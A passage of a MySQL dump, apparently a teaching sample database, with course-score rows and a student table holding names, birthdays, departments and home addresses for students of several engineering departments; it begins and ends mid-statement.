('2007030143', 'a01 ', 67);INSERT INTO `sc` VALUES ('2007030143', 'a02 ', 77);INSERT INTO `sc` VALUES ('2007030143', 'c01 ', 63);INSERT INTO `sc` VALUES ('2007030143', 'c02 ', 82);INSERT INTO `sc` VALUES ('2007030144', 'a01 ', 60);INSERT INTO `sc` VALUES ('2007030144', 'a02 ', 77);INSERT INTO `sc` VALUES ('2007030144', 'c01 ', 79);INSERT INTO `sc` VALUES ('2007030144', 'c02 ', 91);INSERT INTO `sc` VALUES ('2007030145', 'a01 ', 85);INSERT INTO `sc` VALUES ('2007030145', 'a02 ', 79);INSERT INTO `sc` VALUES ('2007030145', 'c01 ', 51);INSERT INTO `sc` VALUES ('2007030145', 'c02 ', 74);INSERT INTO `sc` VALUES ('2007030146', 'a01 ', 77);INSERT INTO `sc` VALUES ('2007030146', 'a02 ', 84);INSERT INTO `sc` VALUES ('2007030146', 'c01 ', 73);INSERT INTO `sc` VALUES ('2007030146', 'c02 ', 71);INSERT INTO `sc` VALUES ('2007030147', 'a01 ', 71);INSERT INTO `sc` VALUES ('2007030147', 'a02 ', 79);INSERT INTO `sc` VALUES ('2007030147', 'c01 ', 63);INSERT INTO `sc` VALUES ('2007030147', 'c02 ', 87);INSERT INTO `sc` VALUES ('2007030401', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030401', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030401', 'c01 ', 45);INSERT INTO `sc` VALUES ('2007030401', 'c04 ', 91);INSERT INTO `sc` VALUES ('2007030402', 'a01 ', 90);INSERT INTO `sc` VALUES ('2007030402', 'a03 ', 92);INSERT INTO `sc` VALUES ('2007030402', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030402', 'c04 ', 91);INSERT INTO `sc` VALUES ('2007030403', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030403', 'a03 ', 85);INSERT INTO `sc` VALUES ('2007030403', 'c01 ', 86);INSERT INTO `sc` VALUES ('2007030403', 'c04 ', 96);INSERT INTO `sc` VALUES ('2007030404', 'a01 ', 98);INSERT INTO `sc` VALUES ('2007030404', 'a03 ', 96);INSERT INTO `sc` VALUES ('2007030404', 'c01 ', 84);INSERT INTO `sc` VALUES ('2007030404', 'c04 ', 89);INSERT INTO `sc` VALUES ('2007030405', 'a01 ', 96);INSERT INTO `sc` VALUES ('2007030405', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007030405', 'c01 ', 94);INSERT INTO `sc` VALUES ('2007030405', 'c04 ', 98);INSERT INTO `sc` VALUES ('2007030406', 'a01 ', 92);INSERT INTO `sc` VALUES ('2007030406', 'a03 ', 76);INSERT INTO `sc` VALUES ('2007030406', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030406', 'c04 ', 95);INSERT INTO `sc` VALUES ('2007030407', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030407', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030407', 'c01 ', 88);INSERT INTO `sc` VALUES ('2007030407', 'c04 ', 81);INSERT INTO `sc` VALUES ('2007030408', 'a01 ', 96);INSERT INTO `sc` VALUES ('2007030408', 'a03 ', 91);INSERT INTO `sc` VALUES ('2007030408', 'c01 ', 90);INSERT INTO `sc` VALUES ('2007030408', 'c04 ', 95);INSERT INTO `sc` VALUES ('2007030409', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030409', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030409', 'c01 ', 97);INSERT INTO `sc` VALUES ('2007030409', 'c04 ', 95);INSERT INTO `sc` VALUES ('2007030410', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030410', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007030410', 'c01 ', 93);INSERT INTO `sc` VALUES ('2007030410', 'c04 ', 99);INSERT INTO `sc` VALUES ('2007030411', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030411', 'a03 ', 76);INSERT INTO `sc` VALUES ('2007030411', 'c01 ', 53);INSERT INTO `sc` VALUES ('2007030411', 'c04 ', 61);INSERT INTO `sc` VALUES ('2007030412', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030412', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030412', 'c01 ', 82);INSERT INTO `sc` VALUES ('2007030412', 'c04 ', 80);INSERT INTO `sc` VALUES ('2007030413', 'a01 ', 94);INSERT INTO `sc` VALUES ('2007030413', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007030413', 'c01 ', 81);INSERT INTO `sc` VALUES ('2007030413', 'c04 ', 84);INSERT INTO `sc` VALUES ('2007030414', 'a01 ', 91);INSERT INTO `sc` VALUES ('2007030414', 'a03 ', 95);INSERT INTO `sc` VALUES ('2007030414', 'c01 ', 90);INSERT INTO `sc` VALUES ('2007030414', 'c04 ', 86);INSERT INTO `sc` VALUES ('2007030415', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030415', 'a03 ', 77);INSERT INTO `sc` VALUES ('2007030415', 'c01 ', 84);INSERT INTO `sc` VALUES ('2007030415', 'c04 ', 56);INSERT INTO `sc` VALUES ('2007030416', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030416', 'a03 ', 67);INSERT INTO `sc` VALUES ('2007030416', 'c01 ', 72);INSERT INTO `sc` VALUES ('2007030416', 'c04 ', 79);INSERT INTO `sc` VALUES ('2007030417', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030417', 'a03 ', 87);INSERT INTO `sc` VALUES ('2007030417', 'c01 ', 88);INSERT INTO `sc` VALUES ('2007030417', 'c04 ', 84);INSERT INTO `sc` VALUES ('2007030418', 'a01 ', 94);INSERT INTO `sc` VALUES ('2007030418', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007030418', 'c01 ', 66);INSERT INTO `sc` VALUES ('2007030418', 'c04 ', 79);INSERT INTO `sc` VALUES ('2007030419', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030419', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007030419', 'c01 ', 91);INSERT INTO `sc` VALUES ('2007030419', 'c04 ', 94);INSERT INTO `sc` VALUES ('2007030420', 'a01 ', 87);INSERT INTO `sc` VALUES ('2007030420', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030420', 'c01 ', 98);INSERT INTO `sc` VALUES ('2007030420', 'c04 ', 98);INSERT INTO `sc` VALUES ('2007030421', 'a01 ', 90);INSERT INTO `sc` VALUES ('2007030421', 'a03 ', NULL);INSERT INTO `sc` VALUES ('2007030421', 'c01 ', 93);INSERT INTO `sc` VALUES ('2007030421', 'c04 ', 82);INSERT INTO `sc` VALUES ('2007030422', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030422', 'a03 ', 67);INSERT INTO `sc` VALUES ('2007030422', 'c01 ', 72);INSERT INTO `sc` VALUES ('2007030422', 'c04 ', 84);INSERT INTO `sc` VALUES ('2007030423', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030423', 'a03 ', 75);INSERT INTO `sc` VALUES ('2007030423', 'c01 ', 67);INSERT INTO `sc` VALUES ('2007030423', 'c04 ', 66);INSERT INTO `sc` VALUES ('2007030424', 'a01 ', 86);INSERT INTO `sc` VALUES ('2007030424', 'a03 ', 87);INSERT INTO `sc` VALUES ('2007030424', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030424', 'c04 ', 86);INSERT INTO `sc` VALUES ('2007030425', 'a01 ', 95);INSERT INTO `sc` VALUES ('2007030425', 'a03 ', 80);INSERT INTO `sc` VALUES ('2007030425', 'c01 ', 93);INSERT INTO `sc` VALUES ('2007030425', 'c04 ', 89);INSERT INTO `sc` VALUES ('2007030426', 'a01 ', 75);INSERT INTO `sc` VALUES ('2007030426', 'a03 ', 81);INSERT INTO `sc` VALUES ('2007030426', 'c01 ', 80);INSERT INTO `sc` VALUES ('2007030426', 'c04 ', 82);INSERT INTO `sc` VALUES ('2007030427', 'a01 ', 93);INSERT INTO `sc` VALUES ('2007030427', 'a03 ', 78);INSERT INTO `sc` VALUES ('2007030427', 'c01 ', 86);INSERT INTO `sc` VALUES ('2007030427', 'c04 ', 85);INSERT INTO `sc` VALUES ('2007030428', 'a01 ', 89);INSERT INTO `sc` VALUES ('2007030428', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007030428', 'c01 ', 75);INSERT INTO `sc` VALUES ('2007030428', 'c04 ', 45);INSERT INTO `sc` VALUES ('2007030429', 'a01 ', 86);INSERT INTO `sc` VALUES ('2007030429', 'a03 ', 78);INSERT INTO `sc` VALUES ('2007030429', 'c01 ', 84);INSERT INTO `sc` VALUES ('2007030429', 'c04 ', 84);INSERT INTO `sc` VALUES ('2007030430', 'a01 ', 81);INSERT INTO `sc` VALUES ('2007030430', 'a03 ', 85);INSERT INTO `sc` VALUES ('2007030430', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030430', 'c04 ', 92);INSERT INTO `sc` VALUES ('2007030431', 'a01 ', 97);INSERT INTO `sc` VALUES ('2007030431', 'a03 ', 72);INSERT INTO `sc` VALUES ('2007030431', 'c01 ', NULL);INSERT INTO `sc` VALUES ('2007030431', 'c04 ', 71);INSERT INTO `sc` VALUES ('2007030432', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030432', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030432', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030432', 'c04 ', 77);INSERT INTO `sc` VALUES ('2007030433', 'a01 ', 84);INSERT INTO `sc` VALUES ('2007030433', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007030433', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030433', 'c04 ', 71);INSERT INTO `sc` VALUES ('2007030434', 'a01 ', 88);INSERT INTO `sc` VALUES ('2007030434', 'a03 ', 82);INSERT INTO `sc` VALUES ('2007030434', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030434', 'c04 ', 86);INSERT INTO `sc` VALUES ('2007030435', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030435', 'a03 ', 62);INSERT INTO `sc` VALUES ('2007030435', 'c01 ', 55);INSERT INTO `sc` VALUES ('2007030435', 'c04 ', 77);INSERT INTO `sc` VALUES ('2007030436', 'a01 ', 88);INSERT INTO `sc` VALUES ('2007030436', 'a03 ', 95);INSERT INTO `sc` VALUES ('2007030436', 'c01 ', 96);INSERT INTO `sc` VALUES ('2007030436', 'c04 ', 99);INSERT INTO `sc` VALUES ('2007030437', 'a01 ', 80);INSERT INTO `sc` VALUES ('2007030437', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030437', 'c01 ', 80);INSERT INTO `sc` VALUES ('2007030437', 'c04 ', 68);INSERT INTO `sc` VALUES ('2007030438', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030438', 'a03 ', 80);INSERT INTO `sc` VALUES ('2007030438', 'c01 ', 60);INSERT INTO `sc` VALUES ('2007030438', 'c04 ', 90);INSERT INTO `sc` VALUES ('2007030439', 'a01 ', 60);INSERT INTO `sc` VALUES ('2007030439', 'a03 ', 90);INSERT INTO `sc` VALUES ('2007030439', 'c01 ', 97);INSERT INTO `sc` VALUES ('2007030439', 'c04 ', 98);INSERT INTO `sc` VALUES ('2007030440', 'a01 ', 80);INSERT INTO `sc` VALUES ('2007030440', 'a03 ', 83);INSERT INTO `sc` VALUES ('2007030440', 'c01 ', 96);INSERT INTO `sc` VALUES ('2007030440', 'c04 ', 90);INSERT INTO `sc` VALUES ('2007030441', 'a01 ', 82);INSERT INTO `sc` VALUES ('2007030441', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030441', 'c01 ', 94);INSERT INTO `sc` VALUES ('2007030441', 'c04 ', 86);INSERT INTO `sc` VALUES ('2007030442', 'a01 ', 72);INSERT INTO `sc` VALUES ('2007030442', 'a03 ', 65);INSERT INTO `sc` VALUES ('2007030442', 'c01 ', 66);INSERT INTO `sc` VALUES ('2007030442', 'c04 ', 48);INSERT INTO `sc` VALUES ('2007030443', 'a01 ', 72);INSERT INTO `sc` VALUES ('2007030443', 'a03 ', 89);INSERT INTO `sc` VALUES ('2007030443', 'c01 ', 87);INSERT INTO `sc` VALUES ('2007030443', 'c04 ', 92);INSERT INTO `sc` VALUES ('2007030444', 'a01 ', 62);INSERT INTO `sc` VALUES ('2007030444', 'a03 ', 85);INSERT INTO `sc` VALUES ('2007030444', 'c01 ', 95);INSERT INTO `sc` VALUES ('2007030444', 'c04 ', 96);INSERT INTO `sc` VALUES ('2007030445', 'a01 ', 83);INSERT INTO `sc` VALUES ('2007030445', 'a03 ', 88);INSERT INTO `sc` VALUES ('2007030445', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030445', 'c04 ', 73);INSERT INTO `sc` VALUES ('2007030446', 'a01 ', 67);INSERT INTO `sc` VALUES ('2007030446', 'a03 ', 76);INSERT INTO `sc` VALUES ('2007030446', 'c01 ', 83);INSERT INTO `sc` VALUES ('2007030446', 'c04 ', 87);INSERT INTO `sc` VALUES ('2007030447', 'a01 ', 66);INSERT INTO `sc` VALUES ('2007030447', 'a03 ', 68);INSERT INTO `sc` VALUES ('2007030447', 'c01 ', 84);INSERT INTO `sc` VALUES ('2007030447', 'c04 ', 78);-- ------------------------------ Table structure for student-- ----------------------------DROP TABLE IF EXISTS `student`;CREATE TABLE `student` ( `sno` varchar(10) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL DEFAULT '', `sname` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `ssex` varchar(2) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `sbirthday` date NULL DEFAULT NULL, `classno` varchar(8) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `sdept` varchar(16) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `speciality` varchar(16) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL, `saddress` longtext CHARACTER SET utf8 COLLATE utf8_general_ci NULL, PRIMARY KEY (`sno`) USING BTREE) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;-- ------------------------------ Records of student-- ----------------------------INSERT INTO `student` VALUES ('2007010101', '于晓梅', '男', '1987-03-07', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊临朐县临朐县七贤镇北朱村');INSERT INTO `student` VALUES ('2007010103', '李洪利 ', '男', '1988-10-01', '20070101', '电子工程系 ', '电子应用技术 ', '枣庄市中区第十八中学');INSERT INTO `student` VALUES ('2007010104', '邓杰杰 ', '男', '1987-06-01', '20070101', '电子工程系 ', '电子应用技术 ', '烟台莱州市朱桥镇下王村');INSERT INTO `student` VALUES ('2007010105', '高尚 ', '男', '1987-06-06', '20070101', '电子工程系 ', '电子应用技术 ', '河南省禹州市第二高级中学');INSERT INTO `student` VALUES ('2007010106', '孙小玲 ', '女', '1988-12-29', '20070101', '电子工程系 ', '电子应用技术 ', '枣庄山亭区山城街道东江村');INSERT INTO `student` VALUES ('2007010107', '张旭光 ', '男', '1987-08-12', '20070101', '电子工程系 ', '电子应用技术 ', '吉林省磐石市第五中学');INSERT INTO `student` VALUES ('2007010108', '张玉忠 ', '男', '1988-10-09', '20070101', '电子工程系 ', '电子应用技术 ', '聊城阳谷县城关镇张楼村');INSERT INTO `student` VALUES ('2007010109', '孟晓楠 ', '女', '1988-06-14', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊奎文区潍坊市委党校家属院');INSERT INTO `student` VALUES ('2007010110', '王佳丽 ', '女', '1987-10-14', '20070101', '电子工程系 ', '电子应用技术 ', '青岛莱西市姜山镇兴隆庄');INSERT INTO `student` VALUES ('2007010111', '亓敏敏 ', '男', '1988-10-22', '20070101', '电子工程系 ', '电子应用技术 ', '济宁嘉祥县老僧堂乡南杜村858号');INSERT INTO `student` VALUES ('2007010112', '舒畅 ', '男', '1989-06-25', '20070101', '电子工程系 ', '电子应用技术 ', '江苏省徐州市贾汪中学');INSERT INTO `student` VALUES ('2007010113', '樊亮亮 ', '男', '1987-10-22', '20070101', '电子工程系 ', '电子应用技术 ', '菏泽牡丹区菏泽三中高三级部');INSERT INTO `student` VALUES ('2007010114', '孟超超 ', '男', '1988-11-18', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊诸城市诸城市第六中学');INSERT INTO `student` VALUES ('2007010115', '周小游 ', '女', '1905-06-14', '20070101', '电子工程系 ', '电子应用技术 ', '辽宁省锦州市北镇市第三高级中学');INSERT INTO `student` VALUES ('2007010116', '庞建国 ', '男', '1986-04-06', '20070101', '电子工程系 ', '电子应用技术 ', '济宁汶上县郭楼镇郝营村8354号');INSERT INTO `student` VALUES ('2007010117', '范伟伟', '女', '1989-08-01', '20070101', '电子工程系 ', '电子应用技术 ', '菏泽曹县孙老家镇西村');INSERT INTO `student` VALUES ('2007010118', '李秀娟 ', '女', '1988-10-19', '20070101', '电子工程系 ', '电子应用技术 ', '青岛胶州市常州路9668号');INSERT INTO `student` VALUES ('2007010119', '何金羽 ', '男', '1905-06-14', '20070101', '电子工程系 ', '电子应用技术 ', '辽宁省铁岭市教师进修学院附属高级中学');INSERT INTO `student` VALUES ('2007010120', '胡强 ', '男', '1984-12-19', '20070101', '电子工程系 ', '电子应用技术 ', '德州庆云县严务乡大淀村');INSERT INTO `student` VALUES ('2007010121', '胡小兵 ', '男', '1988-12-24', '20070101', '电子工程系 ', '电子应用技术 ', '淄博桓台县淄博市桓台县田庄镇胡东村');INSERT INTO `student` VALUES ('2007010122', '赵丽莉 ', '女', '1987-02-06', '20070101', '电子工程系 ', '电子应用技术 ', '江苏省睢宁县古邳镇骑河村钦庄6203号');INSERT INTO `student` VALUES ('2007010123', '王资超 ', '男', '1988-01-20', '20070101', '电子工程系 ', '电子应用技术 ', '菏泽曹县郑庄乡谢道口村');INSERT INTO `student` VALUES ('2007010124', '徐新梅 ', '女', '1986-05-30', '20070101', '电子工程系 ', '电子应用技术 ', '德州陵县梅镇李官屯村');INSERT INTO `student` VALUES ('2007010125', '郭新华 ', '男', '1988-08-14', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊安丘市大盛镇上马疃村');INSERT INTO `student` VALUES ('2007010126', '东雷', '男', '1988-04-18', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊青州市何官镇张高村');INSERT INTO `student` VALUES ('2007010127', '董晓彬 ', '男', '1985-10-06', '20070101', '电子工程系 ', '电子应用技术 ', '潍坊青州市山东省青州第二中学');INSERT INTO `student` VALUES ('2007010128', '李建', '男', '1987-11-05', '20070101', '电子工程系 ', '电子应用技术 ', '济宁汶上县杨店乡韩街村994号');INSERT INTO `student` VALUES ('2007010129', '张蕾', '女', '1988-03-10', '20070101', '电子工程系 ', '电子应用技术 ', '临沂河东区一中');INSERT INTO `student` VALUES ('2007010130', '潘东阳', '男', '1988-09-25', '20070101', '电子工程系 ', '电子应用技术 ', '山西省昔阳县李家庄乡胡峪村');INSERT INTO `student` VALUES ('2007010131', '孙晓萍 ', '女', '1989-07-23', '20070101', '电子工程系 ', '电子应用技术 ', '吉林省敦化市实验中学分校三年八班');INSERT INTO `student` VALUES ('2007020101', '李志超 ', '男', '1987-11-27', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海乳山市乳山寨东司马庄村 ');INSERT INTO `student` VALUES ('2007020102', '张栋栋 ', '男', '1989-03-03', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛胶州市实验中学 ');INSERT INTO `student` VALUES ('2007020103', '孔超 ', '男', '1987-10-15', '20070201', '计算机工程系 ', '计算机应用技术 ', '日照东港区山东省日照第二中学 ');INSERT INTO `student` VALUES ('2007020104', '王志文 ', '男', '1986-07-23', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂莒南县涝坡镇王鸡山村 ');INSERT INTO `student` VALUES ('2007020105', '孙丽伟 ', '女', '1988-12-08', '20070201', '计算机工程系 ', '计算机应用技术 ', '潍坊昌邑市昌邑市第二中学 ');INSERT INTO `student` VALUES ('2007020106', '沈欢欢 ', '女', '1988-07-02', '20070201', '计算机工程系 ', '计算机应用技术 ', '河南省扶沟县第二高级中学 ');INSERT INTO `student` VALUES ('2007020107', '王丽丽 ', '女', '1989-06-14', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽曹县曹城镇南关村 ');INSERT INTO `student` VALUES ('2007020108', '付宇欣 ', '女', '1988-11-24', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂兰山区清河南路801南郊中学 ');INSERT INTO `student` VALUES ('2007020109', '李晓倩', '女', '1987-12-23', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛市北区阳信路2号11中 ');INSERT INTO `student` VALUES ('2007020110', '张娟娟 ', '女', '1987-03-24', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂沂南县沂南二中二分校');INSERT INTO `student` VALUES ('2007020111', '王明明 ', '男', '1987-07-26', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽曹县韩集镇井王村 ');INSERT INTO `student` VALUES ('2007020112', '王金鹏 ', '男', '1989-09-17', '20070201', '计算机工程系 ', '计算机应用技术 ', '聊城莘县实验高中 ');INSERT INTO `student` VALUES ('2007020113', '张聪 ', '男', '1988-08-18', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛即墨市第四中学 ');INSERT INTO `student` VALUES ('2007020114', '赵子龙 ', '男', '1988-11-05', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂临沭县蛟龙镇前利城村9276号 ');INSERT INTO `student` VALUES ('2007020115', '刘兵 ', '男', '1987-11-18', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂蒙阴县桃曲镇黄土沟村 ');INSERT INTO `student` VALUES ('2007020116', '李蕾 ', '女', '1988-03-20', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂蒙阴县蒙阴镇会泉峪村 ');INSERT INTO `student` VALUES ('2007020117', '刘小军 ', '男', '1989-12-10', '20070201', '计算机工程系 ', '计算机应用技术 ', '济宁微山县农业银行');INSERT INTO `student` VALUES ('2007020118', '赵彬彬 ', '男', '1989-01-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '聊城东昌府鑫亚公司综合楼 ');INSERT INTO `student` VALUES ('2007020119', '王朋朋 ', '男', '1988-01-08', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄山亭区山城办大荒村');INSERT INTO `student` VALUES ('2007020120', '孙彬双 ', '男', '1987-04-26', '20070201', '计算机工程系 ', '计算机应用技术 ', '烟台海阳市发城镇发城村9123号 ');INSERT INTO `student` VALUES ('2007020121', '闫刚 ', '男', '1988-06-26', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽曹县魏湾镇闫楼村 ');INSERT INTO `student` VALUES ('2007020122', '宋丽杰 ', '女', '1988-11-10', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛城阳区明阳路260号 ');INSERT INTO `student` VALUES ('2007020123', '李庆春 ', '男', '1988-09-03', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂莒南县朱芦镇张家茅墩村 ');INSERT INTO `student` VALUES ('2007020124', '吴晓梅 ', '女', '1982-07-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽单县终兴镇北常集东村 ');INSERT INTO `student` VALUES ('2007020125', '赵梦薇 ', '女', '1988-04-30', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海荣成市宁津街道办事处季家村888号 ');INSERT INTO `student` VALUES ('2007020126', '苏明明 ', '女', '1988-08-24', '20070201', '计算机工程系 ', '计算机应用技术 ', '聊城莘县明天中学 ');INSERT INTO `student` VALUES ('2007020127', '许军浩', '男', '1987-02-12', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海乳山市育黎镇王母夼村 ');INSERT INTO `student` VALUES ('2007020128', '董丽丽', '女', '1988-10-03', '20070201', '计算机工程系 ', '计算机应用技术 ', '潍坊青州市青州烟厂沿街楼三单元 ');INSERT INTO `student` VALUES ('2007020129', '荀小燕', '女', '1989-09-16', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄枣庄十八中 ');INSERT INTO `student` VALUES ('2007020130', '平丽娜', '女', '1988-06-27', '20070201', '计算机工程系 ', '计算机应用技术 ', '日照五莲县叩官中学 ');INSERT INTO `student` VALUES ('2007020131', '时晓光', '女', '1989-12-13', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄滕州市鲍沟镇河崖村 ');INSERT INTO `student` VALUES ('2007020132', '安丽艳', '女', '1987-08-22', '20070201', '计算机工程系 ', '计算机应用技术 ', '驻马店市第四高级中学 ');INSERT INTO `student` VALUES ('2007020133', '杨玲', '男', '1990-06-14', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽牡丹区仓房居委会 ');INSERT INTO `student` VALUES ('2007020134', '杨霞霞', '女', '1988-01-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '潍坊潍城区福寿街西首潍坊七中 ');INSERT INTO `student` VALUES ('2007020135', '安浩', '男', '1988-11-27', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂沂南县马牧池乡张家峪子 ');INSERT INTO `student` VALUES ('2007020136', '秦辉', '男', '1987-08-02', '20070201', '计算机工程系 ', '计算机应用技术 ', '济宁金乡县化雨乡冯海村 ');INSERT INTO `student` VALUES ('2007020137', '孟敏敏', '男', '1987-11-29', '20070201', '计算机工程系 ', '计算机应用技术 ', '济宁微山县鲁桥镇鲁桥二村 ');INSERT INTO `student` VALUES ('2007020138', '安海明', '男', '1988-01-09', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海文登市泽头镇林村 ');INSERT INTO `student` VALUES ('2007020139', '时光', '女', '1988-06-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '聊城东昌府许营乡崔官屯村 ');INSERT INTO `student` VALUES ('2007020140', '赵丽莉', '女', '1988-01-10', '20070201', '计算机工程系 ', '计算机应用技术 ', '威海乳山市冯家镇南寨村 ');INSERT INTO `student` VALUES ('2007020141', '胡敏婕 ', '男', '1987-07-31', '20070201', '计算机工程系 ', '计算机应用技术 ', '日照东港区日照一中东校高三二部 ');INSERT INTO `student` VALUES ('2007020142', '赵健', '男', '1988-06-06', '20070201', '计算机工程系 ', '计算机应用技术 ', '泰安新泰市新泰二中 ');INSERT INTO `student` VALUES ('2007020143', '张琦', '男', '1988-05-16', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂蒙阴县旧寨乡北楼村 ');INSERT INTO `student` VALUES ('2007020144', '唐晓东', '男', '1988-05-16', '20070201', '计算机工程系 ', '计算机应用技术 ', '潍坊青州市青州市普通镇钟家庄8861 ');INSERT INTO `student` VALUES ('2007020145', '苏梦丽', '女', '1988-12-17', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄滕州市姜屯镇前徐村 ');INSERT INTO `student` VALUES ('2007020146', '董晓刚', '男', '1988-12-15', '20070201', '计算机工程系 ', '计算机应用技术 ', '青岛开发区钱塘江路9366号 ');INSERT INTO `student` VALUES ('2007020147', '斐浩', '男', '1988-06-06', '20070201', '计算机工程系 ', '计算机应用技术 ', '东营垦利县垦利一中 ');INSERT INTO `student` VALUES ('2007020148', '安静', '女', '1989-02-07', '20070201', '计算机工程系 ', '计算机应用技术 ', '菏泽牡丹区马岭岗镇谢集村021号 ');INSERT INTO `student` VALUES ('2007020149', '谢丽丽', '女', '1988-08-19', '20070201', '计算机工程系 ', '计算机应用技术 ', '临沂平邑县白彦镇黄坡东村 ');INSERT INTO `student` VALUES ('2007020150', '魏亚男 ', '女', '1988-04-09', '20070201', '计算机工程系 ', '计算机应用技术 ', '枣庄市中区十六中北校 ');INSERT INTO `student` VALUES ('2007020151', '魏薇 ', '女', '1987-10-07', '20070201', '计算机工程系 ', '计算机应用技术 ', '淄博沂源县张家坡镇北店子村 ');INSERT INTO `student` VALUES ('2007030101', '张小米', '女', '1987-10-20', '20070301', '软件工程系 ', '计算机网络技术 ', '聊城高唐县一中');INSERT INTO `student` VALUES ('2007030103', '马大哈', '男', '1988-02-10', '20070301', '软件工程系 ', '计算机网络技术 ', '临沂费县胡阳镇徕庄村');INSERT INTO `student` VALUES ('2007030104', '王金梅', '女', '1987-12-15', '20070301', '软件工程系 ', '计算机网络技术 ', '济宁邹城市城前镇民安村96号');INSERT INTO `student` VALUES ('2007030105', '曾刚', '男', '1987-09-27', '20070301', '软件工程系 ', '计算机网络技术 ', '潍坊奎文区工福街宝利家园');INSERT INTO `student` VALUES ('2007030106', '王晓姝', '女', '1988-06-28', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛城阳区棘洪滩街道港北村134号');INSERT INTO `student` VALUES ('2007030107', '张涛', '男', '1988-10-11', '20070301', '软件工程系 ', '计算机网络技术 ', '青岛莱西市职业中专');INSERT INTO `student` VALUES ('2007030108', '李金栋', '男', '1989-08-08', '20070301', '软件工程系 ', '计算机网络技术 ', '日照莒县第二中学');INSERT INTO `student` VALUES ('2007030109', '张鑫', '男', '1990-01-14', '20070301', '软件工程系 ', '计算机网络技术 ', '济南平阴县一中东校理十五班');INSERT INTO `student` VALUES ('2007030110', '吕丽', '女', '1989-07-04', '20070301', '软件工程系 ', '计算机网络技术 ', '枣庄薛城区张范镇田庄村');INSERT INTO `student` VALUES ('2007030111', '张坤坤', '男', '1987-09-23', '20070301', '软件工程系 ', '计算机网络技术 ', '聊城东昌府山东聊城第二中学');INSERT INTO `student` VALUES ('2007030112', '付杰英', '男', '1990-02-28', '20070301', '软件工程系 ', '计算机网络技术 ', '泰安岱岳区泰安三中北校');INSERT INTO `student` VALUES ('2007030113', '孟璇', '女', '1989-09-02', '20070301', '软件工程系 ', '计算机网络技术 ', '菏泽单县浮岗镇石老家村');INSERT INTO `student` VALUES ('2007030114', '宋洋洋', '男', '1989-05-22', '20070301', '软件工程系 ', 